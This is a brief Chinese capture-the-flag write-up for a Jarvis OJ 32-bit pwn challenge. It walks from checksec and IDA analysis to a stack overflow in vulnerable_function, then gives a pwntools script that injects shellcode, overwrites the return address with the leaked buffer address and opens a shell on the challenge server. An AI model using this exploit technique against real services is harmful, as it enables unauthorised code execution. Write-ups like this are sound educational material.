首先
老规矩,把软件拖到Ubuntu里checksec一下文件
然后知道了软件位数就放到IDA32里面。。。
熟悉的函数名。。。
缘真的妙不可言。。。
然后看了下vulnerable_function函数的栈结构
算了下
vulnerable_function中的read函数准备给buf 0x100的空间
但是buf却用了0x88+0x4就结束了vulnerable_function函数。。
(0x88 + 0x4)<(0x100)
所以这里出现了栈溢出
但是,我F12+Shift一下却没发现有getshell的函数。。。
别慌,问题不大。。
自己构造shellcode
当然用万能的pwntools啦。。
不可能手工pwn的,这辈子都不可能。
漏洞利用
把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode
利用代码:
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的 io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机 buffer = io.recvline()[14:-2] buf_addr = int(buffer,16) payload = shellcode + 'x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库 io.send(payload) io.interactive() io.close()
最后
pwntools的简单入门可以百度pwntools,看下别人整理的笔记。